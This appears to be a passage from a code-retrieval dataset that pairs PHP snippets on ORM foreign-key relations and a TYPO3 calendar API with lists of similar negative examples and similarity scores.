KEY (\".$coloum.\") REFERENCES \".$reltable.\"(\".$key.\")\";\n\t $database->query($sql);\n\t}", "public function getForeignKey()\n {\n $keyName = $this->getKeyName();\n\n if ($keyName[0] != '_') {\n $keyName = '_' . $keyName;\n }\n\n return Str::snake(class_basename($this)) . $keyName;\n }", "function name_child_relationship($class_name,$foreign_key)\n\t{\n\t\tif($class_name == 'vehicle' && $foreign_key == 'supplier_id')\n\t\t{\n\t\t\treturn \"supplier\";\n\t\t}\n\t\telse if($class_name == 'delivery' && $foreign_key == 'vehicle_id')\n\t\t{\n\t\t\treturn \"vehicle\";\n\t\t}\n\t\telse if($class_name == 'delivery' && $foreign_key == 'venue_id')\n\t\t{\n\t\t\treturn \"venue\";\n\t\t}\n\t\telse if($class_name == 'delivery' && $foreign_key == 'status_id')\n\t\t{\n\t\t\treturn \"status\";\n\t\t}\n\t\telse if($class_name == 'driver' && $foreign_key == 'supplier_id')\n\t\t{\n\t\t\treturn \"supplier\";\n\t\t}\n\t\t\n\t}", "public function getQualifiedForeignKeyName()\n {\n return $this->farChild->qualifyColumn($this->secondKey);\n }", "public function Cliente()\n {\n return $this->belongsTo('App\\Cliente','id_cliente');\n }", "public function getQualifiedFarKeyName()\n {\n return $this->getQualifiedForeignKeyName();\n }", "protected function setUpForeignKey()\n {\n $this->getOldTable()->createColumn('foo', Type::STRING, array('length' => 50));\n $this->getOldTable()->createColumn('bar', Type::STRING, array('length' => 50));\n $this->getOldTable()->createPrimaryKey(array('foo'), 'pk');\n\n $this->getOldForeignKeyTable()->createColumn('foo', Type::STRING, array('length' => 50));\n $this->getOldForeignKeyTable()->createColumn('bar', Type::STRING, array('length' => 50));\n $this->getOldForeignKeyTable()->createForeignKey(\n array('foo'),\n 'foo',\n array('foo'),\n ForeignKey::RESTRICT,\n ForeignKey::RESTRICT,\n 'fk_foo'\n );\n\n $this->createOldForeignKeyTable();\n }", "public function hasOne($class, $foreignKey = null, $localKey = null);", "public function FixturehomeTeam(){\n return $this->belongsTo(Btfixture::class, 'sysid'); \n }", "public function FixtureawayTeam(){\n return $this->belongsTo(Btfixture::class, 'sysid'); \n }", "protected function _checkForeignKeysReverseRestrict() {}", "public function initialize()\n {\n $this->belongsTo('id_deuda', 'NbDeudas', 'id_deuda', array('alias' => 'NbDeudas'));\n $this->belongsTo('id_deuda', 'Nbdeudas', 'id_deuda', array('foreignKey' => true));\n }", "public function empresaCliente(){\n return $this->belongsTo('App\\EmpresaCliente','empresaCliente_id');\n }", "public function getRouteKeyName()\n\t\t{\n\t\t return 'fk_usuario';\n\t\t}", "public function relatedTable()\n {\n return $this->belongsTo('App\\Table','table');\n }", "public function relatedCustomer()\n {\n return $this->belongsTo('App\\Customer','id','database');\n }", "protected function _enableForeignKeyChecks()\n\t{\n\t\treturn '';\n\t}", "public function post(){return $this->belongsTo('App\\Post');}", "public function hasMany($class, $foreignKey = null, $localKey = null);", "public function client()\n{\n return $this->belongsTo('App\\Client');\n}", "protected function addRelation()\n {\n $fromTable = $this->ask('Enter the name of the parent table');\n $this->checkInput($fromTable);\n $toTable = $this->ask('Enter the name of the child table');\n $this->checkInput($toTable);\n $relationColumn = $this->ask('Enter the column which is going to be referenced (default is \\'id\\')', 'id');\n $action = $this->choice('Action to be taken for column (default is \\'cascade\\')', ['cascade', 'restrict', 'set null'], 'cascade');\n $this->service->addRelation($fromTable, $toTable, $relationColumn, $action);\n }", "public function testForeignKey()\n {\n $statement = (new CreateTable($this->mockConnection));\n $return = $statement->foreignKey('column', 'table', 'id');\n $array = $statement->toArray();\n\n $this->assertInstanceOf(CreateTable::class, $return);\n $this->assertEquals([\n 'constraints' => [\n [\n 'type' => 'foreignKey',\n 'name' => null,\n 'columns' => ['column'],\n 'referenceTable' => 'table',\n 'referenceColumns' => ['id'],\n 'onDelete' => null,\n 'onUpdate' => null,\n ]\n ],\n ], $array);\n }", "protected function _checkForeignKeysRestrict() {}", "public function client() \n {\n return $this->belongsTo('App\\Client\\Client');\n\n }", "public function client() \n {\n return $this->belongsTo('App\\Client\\Client');\n\n }", "public function testSafeDropNonExistingFk()\n {\n $this->assertCount(2, $this->connection->getForeignKeyNames('writers'));\n $this->connection->dropForeignKey('writers', 'FK that does not exist');\n $this->assertCount(2, $this->connection->getForeignKeyNames('writers'));\n }", "public function name(): string\n {\n return 'hasOne';\n }", "public function getForeignKey()\n {\n return 'order_product_field_value_id';\n }", "public function getForeignId()\r\n {\r\n return null;\r\n }", "public function relatedDataBase()\n {\n return $this->belongsTo('App\\Database','database');\n }", "public function getDescription(): string\n {\n return \"ManyToOne\";\n }", "public function __construct($name, $relationModelName) {\n parent::__construct($name, Field::TYPE_FOREIGN_KEY);\n\n $this->setRelationModelName($relationModelName);\n }", "public function dropForeignKey($tableName, $schemaName, $referenceName){ }", "private function get_ORM_fk_name( reDBForeignKey $fk ) {\r\n\t\t$cols = array_keys( $fk->getColumnReferences() );\r\n\t\tforeach( $cols as $i=>$col ) {\r\n\t\t\tif( substr($col,-3)=='_id' ) $cols[$i] = substr($col,0,-3);\r\n\t\t}\r\n\t\t$fk_name = implode('_',$cols);\r\n\t\t$fk_name = preg_replace('/[^a-zA-Z0-9_]/','_',$fk_name);\r\n\t\treturn to_camel_case( $fk_name, true );\r\n\t}", "public function contrato(){\n return $this->belongsTo('App\\Contrato');\n }", "public function supplier()\n {\n \treturn $this->belongsTo('App\\Supplier');\n }", "protected function constrain()\n {\n $other = $this->other_key();\n $foreign = $this->foreign_key();\n\n $this->set_select($foreign, $other)->set_join($other)->set_where($foreign);\n }", "public function candidato() { \n return $this->belongsTo(Candidato::class); ///, '','id'\n }", "public function Table_1()\n {\n return $this->hasOne('App\\Table_1')->withDefault([\n \n 'name' => 'Guest Author',\n \n ]);\n }", "public function StudentBelong()\n {\n return $this->belongsTo('students','studentid', 'studentid');\n }", "public function employee()\n {\n \treturn $this->belongsTo(MasterEmployee::class,'employee_id');\n }", "public function Munafa_daily_entry()\n {\n \t\n \treturn $this->belongsTo('App\\Daily_entry', 'id');\n }", "public function cliente(){\n return $this->belongsTo('App\\Models\\Cliente');\n }", "public function hasForeignKey($columns, $constraint = null)\r\n {\r\n }", "public function getTranslationForeignKey(): string\n {\n return $this->translationForeignKey ?? $this->getForeignKey();\n }", "public function employee()\n {\n return $this->belongsTo('App\\Employee');\n }", "public function client(){\n return $this->belongsTo('App\\Models\\Client');\n }", "public function get_player_fk(){ return $this->_player_fk; }", "public function food() {\n return $this->belongsTo('Food');\n }", "public function post()\n {\n \treturn $this->belongsTo('App\\Post');\n }", "public function hasForeignKey($tableName, $columns, $constraint = null);", "public function viagem(){\n\n return $this->belongsTo(Viagem::class, 'fk_solicitacao');\n }", "public function pengguna(){\n return $this->belongsTo('App\\pengguna');\n }", "protected function constrain()\n {\n $this->table->where($this->foreign_key(), '=', $this->base->get_key());\n }", "private function hasOne($table, $foreignTableName) {\n $foreignTableName = strtolower($foreignTableName);\n assert('!empty($table->primaryKey); // table needs to have primary key defined for table join');\n\n // can we load the foreign table?\n if (class_exists(ucfirst($foreignTableName))) {\n // capitalize\n $foreignTableName = ucfirst($foreignTableName);\n // note the foreign table might have relationships of its own...\n $foreignTable = new $foreignTableName();\n assert('!empty($foreignTable->primaryKey); // foreign table needs to have primary key defined');\n\n // create the join on custom primary key and (optionally) custom table name\n $table->join($foreignTable->tableName, array(\n \"{$table->tableName}.{$foreignTable->tableName}_{$table->primaryKey}\"\n => \"{$foreignTable->tableName}.{$foreignTable->primaryKey}\"\n ));\n // as an added bonus, we might have a relationship in the foreign table, add it...\n $table->join .= $foreignTable->join;\n } else {\n // we will have to rely on our primary key\n // create the join where \"foreignTable_id = id\"\n $table->join($foreignTableName, array(\n \"{$table->tableName}.{$foreignTableName}_{$table->primaryKey}\"\n => \"{$foreignTableName}.{$table->primaryKey}\"\n ));\n }\n }", "public function aerolinea(){\n \t$this->belongsTo('App\\Aerolinea');\n }" ]
[ "0.71967953", "0.694169", "0.68465173", "0.6748764", "0.6741049", "0.6723935", "0.6595742", "0.65819997", "0.6568214", "0.654094", "0.6513823", "0.6513272", "0.651092", "0.6496632", "0.6388737", "0.637014", "0.62831104", "0.627342", "0.6253555", "0.6253555", "0.6253555", "0.623295", "0.62230414", "0.6183789", "0.61594737", "0.61401606", "0.60878223", "0.606127", "0.6048613", "0.6037024", "0.60208887", "0.60134786", "0.59982216", "0.5972471", "0.59569234", "0.5946262", "0.5937738", "0.5896972", "0.58914256", "0.5887758", "0.58466613", "0.58385324", "0.5833795", "0.58328515", "0.5824623", "0.5766607", "0.57582474", "0.5743316", "0.5727603", "0.57271147", "0.5721915", "0.5710701", "0.57015663", "0.56941664", "0.5686014", "0.56763315", "0.5670798", "0.56666154", "0.5664075", "0.5648213", "0.5642599", "0.56198305", "0.5600834", "0.55975556", "0.55836535", "0.5581091", "0.5578166", "0.5570465", "0.5566918", "0.5566918", "0.5565285", "0.5565272", "0.5561382", "0.55608654", "0.55590427", "0.55390835", "0.5536381", "0.55330604", "0.5529364", "0.55238134", "0.55132264", "0.55100536", "0.5508802", "0.55070287", "0.55053556", "0.54736763", "0.54673904", "0.5464128", "0.5459739", "0.545843", "0.54555464", "0.54537773", "0.5449209", "0.5445931", "0.54321545", "0.5430763", "0.54299164", "0.5426194", "0.54259723", "0.5421494", "0.54208916" ]
0.0
-1
Example: require_once ('class.tx_cal_api.php'); $calAPI = &tx_cal_functions::makeInstance('tx_cal_api',$this>cObj, &$conf); $event = $calAPI>findEvent('2','tx_cal_phpicalendar');
function tx_cal_api_with(&$cObj, &$conf){ //global $TCA,$_EXTKEY; $this->cObj = &$cObj; $this->conf = &$conf; if(!$GLOBALS['TCA']){ $GLOBALS['TSFE']->includeTCA(); } $this->conf['useInternalCaching'] = 1; $this->conf['cachingEngine'] = 'cachingFramework'; $this->conf['writeCachingInfoToDevlog'] = 0; $GLOBALS['TSFE']->settingLocale(); $this->controller = &t3lib_div :: makeInstance('tx_cal_controller'); $this->controller->cObj = &$this->cObj; $this->controller->conf = &$this->conf; $this->controller->setWeekStartDay(); require_once(t3lib_extMgm::extPath('cal').'model/class.tx_cal_date.php'); require_once(t3lib_extMgm::extPath('cal').'res/pearLoader.php'); $this->controller->cleanPiVarParam($this->piVars); $this->controller->clearPiVarParams(); $this->controller->getParamsFromSession(); $this->controller->initCaching(); $this->controller->initConfigs(); tx_cal_controller::initRegistry($this->controller); $this->rightsObj = &tx_cal_registry::Registry('basic','rightscontroller'); $this->rightsObj = t3lib_div::makeInstanceService('cal_rights_model', 'rights'); $this->rightsObj->setDefaultSaveToPage(); $this->modelObj = &tx_cal_registry::Registry('basic','modelcontroller'); $this->modelObj = tx_cal_functions::makeInstance('tx_cal_modelcontroller'); $this->viewObj = &tx_cal_registry::Registry('basic','viewcontroller'); $this->viewObj = tx_cal_functions::makeInstance('tx_cal_viewcontroller'); /*$this->rightsObj = &tx_cal_registry::Registry('basic','rightscontroller'); $this->modelObj = &tx_cal_registry::Registry('basic','modelcontroller'); $this->viewObj = &tx_cal_registry::Registry('basic','viewcontroller');*/ return $this; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function _getRecurEvent()\n {\n return new Calendar_Model_Event(array(\n 'summary' => 'Breakfast',\n 'dtstart' => '2010-05-20 06:00:00',\n 'dtend' => '2010-05-20 06:15:00',\n 'description' => 'Breakfast',\n 'rrule' => 'FREQ=DAILY;INTERVAL=1', \n 'container_id' => $this->_testCalendar->getId(),\n Tinebase_Model_Grants::GRANT_EDIT => true,\n ));\n }", "protected function _getRecurEvent()\n {\n return new Calendar_Model_Event(array(\n 'summary' => 'Breakfast',\n 'dtstart' => '2010-05-20 06:00:00',\n 'dtend' => '2010-05-20 06:15:00',\n 'description' => 'Breakfast',\n 'rrule' => 'FREQ=DAILY;INTERVAL=1', \n 'container_id' => $this->_testCalendar->getId(),\n Tinebase_Model_Grants::GRANT_EDIT => true,\n ));\n }", "public static function icalendar() {\r\n $ical = \"BEGIN:VCALENDAR\".PHP_EOL;\r\n $ical .= \"VERSION:2.0\".PHP_EOL;\r\n\r\n $show_personal_bak = Calendar_Events::$calsettings->show_personal;\r\n $show_course_bak = Calendar_Events::$calsettings->show_course;\r\n $show_deadline_bak = Calendar_Events::$calsettings->show_deadline;\r\n $show_admin_bak = Calendar_Events::$calsettings->show_admin;\r\n Calendar_Events::set_calendar_settings(1,1,1,1);\r\n Calendar_Events::get_calendar_settings();\r\n $eventlist = Calendar_Events::get_calendar_events();\r\n Calendar_Events::set_calendar_settings($show_personal_bak,$show_course_bak,$show_deadline_bak,$show_admin_bak);\r\n Calendar_Events::get_calendar_settings();\r\n\r\n $events = array();\r\n foreach ($eventlist as $event) {\r\n $ical .= \"BEGIN:VEVENT\".PHP_EOL;\r\n $startdatetime = new DateTime($event->start);\r\n $ical .= \"DTSTART:\".$startdatetime->format(\"Ymd\\THis\").PHP_EOL;\r\n $duration = new DateTime($event->duration);\r\n $ical .= \"DURATION:\".$duration->format(\"\\P\\TH\\Hi\\Ms\\S\").PHP_EOL;\r\n $ical .= \"SUMMARY:[\".strtoupper($event->event_group).\"] \".$event->title.PHP_EOL;\r\n $ical .= \"DESCRIPTION:\".canonicalize_whitespace(strip_tags($event->content)).PHP_EOL;\r\n if ($event->event_group == 'deadline')\r\n {\r\n $ical .= \"BEGIN:VALARM\".PHP_EOL;\r\n $ical .= \"TRIGGER:-PT24H\".PHP_EOL;\r\n $ical .= \"DURATION:PT10H\".PHP_EOL;\r\n $ical .= \"ACTION:DISPLAY\".PHP_EOL;\r\n $ical .= \"DESCRIPTION:DEADLINE REMINDER for \".canonicalize_whitespace(strip_tags($event->title)).PHP_EOL;\r\n $ical .= \"END:VALARM\".PHP_EOL;\r\n }\r\n $ical .= \"END:VEVENT\".PHP_EOL;\r\n }\r\n $ical .= \"END:VCALENDAR\".PHP_EOL;\r\n return $ical;\r\n }", "public static function getCalendarApplication();", "public function getEvent(): EventInterface;", "public function getEvent();", "public function testAntBackendGetEvent()\r\n\t{\r\n\t\t// Set testing timezone\r\n\t\t//$cur_tz = date_default_timezone_get();\r\n\t\t//date_default_timezone_set('America/Los_Angeles'); // -8\r\n\r\n\t\t$calid = GetDefaultCalendar($this->dbh, $this->user->id);\r\n\r\n\t\t// Create a new calendar event for testing\r\n\t\t$event = new CAntObject_CalendarEvent($this->dbh, null, $this->user);\r\n\t\t$event->setValue(\"name\", \"UnitTest Event\");\r\n\t\t$event->setValue(\"ts_start\", \"10/8/2011 2:30 PM\");\r\n\t\t$event->setValue(\"ts_end\", \"10/8/2011 3:30 PM\");\r\n\t\t$event->setValue(\"calendar\", $calid);\r\n\t\t$rp = $event->getRecurrencePattern();\r\n\t\t$rp->type = RECUR_MONTHLY;\r\n\t\t$rp->dayOfMonth = 1;\r\n\t\t$rp->interval = 1;\r\n\t\t$rp->dateStart = \"1/1/2011\";\r\n\t\t$rp->dateEnd = \"11/1/2011\";\r\n\t\t$eid = $event->save();\r\n\r\n\t\t// Get the event and make sure the recurrence is set right\r\n\t\t$syncEvent = $this->backend->getAppointment($eid);\r\n\t\t$this->assertEquals($syncEvent->subject, $event->getValue(\"name\"));\r\n\t\t$this->assertEquals($syncEvent->recurrence->type, 2); // 2 = monthly\r\n\t\t$this->assertEquals($syncEvent->recurrence->dayofmonth , 1);\r\n\r\n\t\t// Cleanup\r\n\t\t$event->removeHard();\r\n\t}", "public function calendar_get_list($ews,$startdate, $enddate){\n\t\t// Set init class\n\t\t$request = new EWSType_FindItemType();\n\t\t// Use this to search only the items in the parent directory in question or use ::SOFT_DELETED\n\t\t// to identify \"soft deleted\" items, i.e. not visible and not in the trash can.\n\t\t$request->Traversal = EWSType_ItemQueryTraversalType::SHALLOW;\n\t\t// This identifies the set of properties to return in an item or folder response\n\t\t$request->ItemShape = new EWSType_ItemResponseShapeType();\n\t\t$request->ItemShape->BaseShape = EWSType_DefaultShapeNamesType::DEFAULT_PROPERTIES;//Returns ID_ONLY - DEFAULT_PROPERTIES - ALL_PROPERTIES\n\t\t\n\t\t// Define the timeframe to load calendar items\n\t\t$request->CalendarView = new EWSType_CalendarViewType();\n\t\t$request->CalendarView->StartDate = $startdate; // an ISO8601 date e.g. 2012-06-12T15:18:34+03:00\n\t\t$request->CalendarView->EndDate = $enddate; // an ISO8601 date later than the above\n\t\t\n\t\t// Only look in the \"calendars folder\"\n\t\t$request->ParentFolderIds = new EWSType_NonEmptyArrayOfBaseFolderIdsType();\n\t\t$request->ParentFolderIds->DistinguishedFolderId = new EWSType_DistinguishedFolderIdType();\n\t\t$request->ParentFolderIds->DistinguishedFolderId->Id = EWSType_DistinguishedFolderIdNameType::CALENDAR;\n\t\t\n\t\t// Send request\n\t\t$response = $ews->FindItem($request);\n\t\t\n\t\t// Add events to array if event(s) were found in the timeframe specified\n\t\tif ($response->ResponseMessages->FindItemResponseMessage->RootFolder->TotalItemsInView > 0){\n\t\t $events = $response->ResponseMessages->FindItemResponseMessage->RootFolder->Items->CalendarItem;\t\n\t\t}\n\t\telse{\n\t\t\tif(empty($events)){\n\t\t\t\t$events = \"No Events Found\"; \t\n\t\t\t}\n\t\t}\n\t\t \n\t\treturn $events; //remember to use the php function urlencode on the id and changekey else it will not work when sent to other EWS functions\n\t }", "private function getCalendar($calendar_obj_list, $cal_id){\n\t\t$main_cal_obj = false;\n\t\tforeach($calendar_obj_list as $cal){\n\t\t\tif($cal->getId() == $cal_id){\n\t\t\t\t$main_cal_obj = $cal;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif(!is_object($main_cal_obj) && is_object($calendar_obj_list[0])){\n\t\t\t// they specified an incorrect calendar id\n\t\t\t// just use the first calendar\n\t\t\t$main_cal_obj = $calendar_obj_list[0];\n\t\t}\n\t\treturn $main_cal_obj;\n\t}", "function get_event(){\n\t\tglobal $EM_Event;\n\t\tif( is_object($EM_Event) && $EM_Event->event_id == $this->event_id ){\n\t\t\treturn $EM_Event;\n\t\t}else{\n\t\t\tif( is_numeric($this->event_id) && $this->event_id > 0 ){\n\t\t\t\treturn em_get_event($this->event_id, 'event_id');\n\t\t\t}elseif( is_array($this->bookings) ){\n\t\t\t\tforeach($this->bookings as $EM_Booking){\n\t\t\t\t\t/* @var $EM_Booking EM_Booking */\n\t\t\t\t\treturn em_get_event($EM_Booking->event_id, 'event_id');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn em_get_event($this->event_id, 'event_id');\n\t}", "public function getEvent() {\n\t}", "public static function Get(){\n static $inst = NULL;\n if( $inst == NULL )\n $inst = new Calendar();\n return( $inst );\n }", "private function getEvents () \n\n\t\t{\n\t\t\t $dbs = new DB ( $this->config['database'] );\n $c = $dbs->query (\"SELECT * FROM tbl_events_record WHERE org_id = '\" . $this->c . \"'\");\n\t\t\t if ( count ( $c ) ) {\n\t\t\t\t$this->result['data']['id'] = trim ( $this->c );\n\t\t\t\t$this->result['data']['events'] = $c[0]['events'];\n\t\t\t\t$this->result['data']['date'] = $c[0]['date_rec'];\n\t\t\t } else \n\t\t\t\t$this->result['data']['result'] = \"Not found [error code:100:101]\";\n\n\t\t\t $dbs->CloseConnection ();\n\t\t\t\n\t\t \treturn;\n\t\t}", "public function cal()\n\t{\n\t\t// -------------------------------------\n\t\t// Load 'em up\n\t\t// -------------------------------------\n\n\t\t$this->load_calendar_datetime();\n\t\t$this->load_calendar_parameters();\n\n\t\t// -------------------------------------\n\t\t// Start up\n\t\t// -------------------------------------\n\n\t\t$this->get_first_day_of_week();\n\n\t\t// -------------------------------------\n\t\t// Prep the parameters\n\t\t// -------------------------------------\n\n\t\t$disable = array(\n\t\t\t'categories',\n\t\t\t'category_fields',\n\t\t\t'custom_fields',\n\t\t\t'member_data',\n\t\t\t'pagination',\n\t\t\t'trackbacks'\n\t\t);\n\n\t\t$params = array(\n\t\t\tarray(\n\t\t\t\t'name' => 'category',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'string',\n\t\t\t\t'multi' => TRUE\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'site_id',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'integer',\n\t\t\t\t'min_value' => 1,\n\t\t\t\t'multi' => TRUE,\n\t\t\t\t'default' => $this->data->get_site_id()\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'calendar_id',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'string',\n\t\t\t\t'multi' => TRUE\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'calendar_name',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'string',\n\t\t\t\t'multi' => TRUE\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'event_id',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'string',\n\t\t\t\t'multi' => TRUE\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'event_name',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'string',\n\t\t\t\t'multi' => TRUE\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'status',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'string',\n\t\t\t\t'multi' => TRUE,\n\t\t\t\t'default' => 'open'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'date_range_start',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'date'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'date_range_end',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'date',\n\t\t\t\t//'default' => 'today'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'show_days',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'integer',\n\t\t\t\t'default' => 1\n\t\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'show_weeks',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'integer'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'show_months',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'integer'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'show_years',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'integer'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'time_range_start',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'time',\n\t\t\t\t'default' => '0000'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'time_range_end',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'time',\n\t\t\t\t'default' => '2359'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'day_limit',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'integer',\n\t\t\t\t'default' => '10'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'event_limit',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'integer',\n\t\t\t\t'default' => '0'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'first_day_of_week',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'integer',\n\t\t\t\t'default' => $this->first_day_of_week\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'pad_short_weeks',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'bool',\n\t\t\t\t'default' => 'yes',\n\t\t\t\t'allowed_values' => array('yes', 'no')\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => 'enable',\n\t\t\t\t'required' => FALSE,\n\t\t\t\t'type' => 'string',\n\t\t\t\t'default' => '',\n\t\t\t\t'multi' => TRUE,\n\t\t\t\t'allowed_values' => $disable\n\t\t\t)\n\t\t);\n\n\t\t//ee()->TMPL->log_item('Calendar: Processing parameters');\n\n\t\t$this->add_parameters($params);\n\n\t\t// -------------------------------------\n\t\t// Do some voodoo on P\n\t\t// -------------------------------------\n\n\t\t$this->process_events_params();\n\n\t\t// -------------------------------------\n\t\t// Let's go build us a gosh darn calendar!\n\t\t// -------------------------------------\n\n\t\t$this->parent_method = __FUNCTION__;\n\n\t\treturn $this->build_calendar();\n\t}", "public function getCalendarPage();", "public function testFactory()\r\n\t{\r\n\t\t$obj = CAntObject::factory($this->dbh, \"calendar_event\");\r\n\t\t$this->assertTrue($obj instanceof CAntObject_CalendarEvent);\r\n\t}", "public function getEvent()\n {\n $result = new stdClass;\n\n if (!($kronolith_driver = $this->_getDriver($this->vars->cal)) ||\n !isset($this->vars->id)) {\n return $result;\n }\n\n try {\n $event = $kronolith_driver->getEvent($this->vars->id, $this->vars->date);\n $event->setTimezone(true);\n $result->event = $event->toJson(null, true, $GLOBALS['prefs']->getValue('twentyFour') ? 'H:i' : 'h:i A');\n // If recurring, we need to format the dates of this instance, since\n // Kronolith_Driver#getEvent will return the start/end dates of the\n // original event in the series.\n if ($event->recurs() && $this->vars->rsd) {\n $rs = new Horde_Date($this->vars->rsd);\n $result->event->rsd = $rs->strftime('%x');\n $re = new Horde_Date($this->vars->red);\n $result->event->red = $re->strftime('%x');\n }\n } catch (Horde_Exception_NotFound $e) {\n $GLOBALS['notification']->push(_(\"The requested event was not found.\"), 'horde.error');\n } catch (Exception $e) {\n $GLOBALS['notification']->push($e, 'horde.error');\n }\n\n return $result;\n }", "public function getEventDispatch();", "function getEvent($idEvent)\n{\n require_once 'model/dbConnector.php';\n $connexion = openDBConnexion();\n $request = $connexion->prepare('SELECT * FROM bdd_satisfevent.events WHERE idEvents = ?');\n $request->execute(array($idEvent));\n $result = $request->fetchAll();\n return $result[0];\n}", "function fetch_feed($cal, $start, $end) {\n $url = build_calendar_url($cal, $start, $end);\n $json = @file_get_contents($url);\n if ( !$json ) { throw new Exception(\"Unable to obtain feed for `\". $cal . \"`\"); }\n\n return json_decode($json, true);\n}", "function getCalendarEvents() {\n$client = getClient();\n$service = new Google_Service_Calendar($client);\n\n// Print the next 10 events on the user's calendar.\n$calendarId = 'primary';\n$optParams = array(\n 'maxResults' => 10,\n 'orderBy' => 'startTime',\n 'singleEvents' => TRUE,\n 'timeMin' => date('c'),\n);\n$results = $service->events->listEvents($calendarId, $optParams);\n\nif (count($results->getItems()) == 0) {\n print \"No upcoming events found.\\n\";\n} else {\n print \"Upcoming events:\\n\";\n foreach ($results->getItems() as $event) {\n $start = $event->start->dateTime;\n if (empty($start)) {\n $start = $event->start->date;\n }\n printf(\"%s (%s)\\n\", $event->getSummary(), $start);\n }\n}\n}", "function getEventById()\n\t{\n\t\t//echo \" From ByID: \" . $this->_id;\n\t\t$eventId = 1;\n\t\t$db\t\t= JFactory::getDbo();\n\t\t$query\t= $db->getQuery(true);\n\n\t\t$query->select(\"DATE_FORMAT(dt_event_time, '%d.%m.%Y')\");\n\t\t$query->select(\"DATE_FORMAT(dt_event_time, '%H:%i')\");\n\t\t$query->select(\"DATE_FORMAT(dt_event_end, '%H:%i')\");\n\t\t$query->select($db->nameQuote('t1.s_category'));\n\t\t$query->select($db->nameQuote('t1.s_place'));\n\t\t$query->select($db->nameQuote('t1.s_price'));\n\t\t$query->select($db->nameQuote('t1.idt_drivin_event'));\n\t\t$query->select($db->nameQuote('t1.n_num_part'));\n\t\t$query->select('t1.`n_num_part` - (SELECT COUNT(t2.`idt_drivin_event_apply`) ' .\n\t\t\t' FROM #__jevent_events_apply as t2 ' .\n\t\t\t' WHERE t2.`idt_drivin_event` = t1.`idt_drivin_event` AND t2.dt_cancel is null) as n_num_free');\n\t\t$query->from('#__jevent_events as t1');\n\t\t$query->where($db->nameQuote('idt_drivin_event') . '=' . $this->_id);\n\n\t\t$db->setQuery($query);\n\t\tif ($link = $db->loadRowList()) {\n\t\t}\n\t\t//echo \" From ByID: \" . count($link);\n\t\t//echo \" From ByID: \" . $query;\n\t\treturn $link;\n\t}", "public function icalendar()\n\t{\n\t\t$s = 'EJURI3ia8aj#912IKa';\n\t\t$r = '#';\n\t\t$e = 'aAEah38a;a33';\n\n\t\t// -------------------------------------\n\t\t// Some dummy tagdata we'll hand off to events()\n\t\t// -------------------------------------\n\n\t\t$vars = array(\n\t\t\t'event_title'\t\t\t\t\t=> 'title',\n\t\t\t'event_id'\t\t\t\t\t\t=> 'id',\n\t\t\t'event_summary'\t\t\t\t\t=> 'summary',\n\t\t\t'event_location'\t\t\t\t=> 'location',\n\t\t\t'event_start_date format=\"%Y\"'\t=> 'start_year',\n\t\t\t'event_start_date format=\"%m\"'\t=> 'start_month',\n\t\t\t'event_start_date format=\"%d\"'\t=> 'start_day',\n\t\t\t'event_start_date format=\"%H\"'\t=> 'start_hour',\n\t\t\t'event_start_date format=\"%i\"'\t=> 'start_minute',\n\t\t\t'event_end_date format=\"%Y\"'\t=> 'end_year',\n\t\t\t'event_end_date format=\"%m\"'\t=> 'end_month',\n\t\t\t'event_end_date format=\"%d\"'\t=> 'end_day',\n\t\t\t'event_end_date format=\"%H\"'\t=> 'end_hour',\n\t\t\t'event_end_date format=\"%i\"'\t=> 'end_minute',\n\t\t\t'event_calendar_tz_offset'\t\t=> 'tz_offset',\n\t\t\t'event_calendar_timezone'\t\t=> 'timezone'\n\t\t);\n\n\t\t$rvars = 